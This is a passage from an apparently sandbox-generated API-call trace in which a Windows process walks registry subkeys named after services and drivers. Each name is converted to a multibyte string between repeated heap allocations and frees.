lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.525] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.526] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.526] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.526] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.526] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.527] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.527] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.527] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.528] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.528] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.528] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.528] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.528] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.528] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.529] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.529] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.529] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.529] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.529] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.530] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.530] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.530] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.530] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.530] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.530] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.531] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.531] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0232.531] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.531] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 